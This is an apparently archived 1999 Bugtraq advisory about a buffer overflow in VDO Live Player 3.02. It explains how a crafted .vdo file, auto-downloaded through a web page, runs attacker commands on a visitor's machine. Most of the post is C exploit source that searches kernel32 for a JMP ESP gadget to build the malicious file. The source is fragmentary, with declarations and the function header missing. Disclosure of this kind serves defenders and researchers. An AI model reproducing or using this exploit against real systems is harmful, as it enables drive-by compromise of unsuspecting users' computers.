Date: Пн, 13 дек 1999 00:25:16
От: UNYUN <shadowpenguin@BACKSECTION.NET>
Кому: BUGTRAQ@SECURITYFOCUS.COM
Тема: VDO Live Player 3.02 Buffer Overflow
--------------------------------------------------------------------------------
Hello
VDO Live Player overflows when that reads the .vdo file that contains
the long address. If VDO Live Player is installed on the system and the
setting of browser is default, .vdo file is downloaded and executed
without the confirmation. So, if the clients visit the webpage which is
written the automatic download code of vdo file (such as META tag) that
contains the attack code, the client machine will be cracked by the
instructions which are written in vdo file.
The buffer which is specified by ESP is too small to put the complex
code, but the top line of the vdo file is stored at the address of
ecx+0x30, it is long enough to set the cracking code.
The following sample source code generates the .vdo file that
executes any commands on the visitors machine.
(This code is tested Japanese Windows98 only)
-----
/*====================================================================
ex_vdolive.c / VDO Live Player 3.02 32bit exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
===================================================================
*/
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
if (argc<2){
printf("usage: %s FileName Command\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
for (i=0;i<meminfo.RegionSize;i++){
ip=kp+i;
if ( ( ip &0xff)==0
|| ((ip>>8 )&0xff)==0
|| ((ip>>16)&0xff)==0
|| ((ip>>24)&0xff)==0) continue;
q=(unsigned char *)ip;
if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break;
}
if (i==meminfo.RegionSize){
printf("Can not find codes which are used by this exploit.\n");
exit(1);
}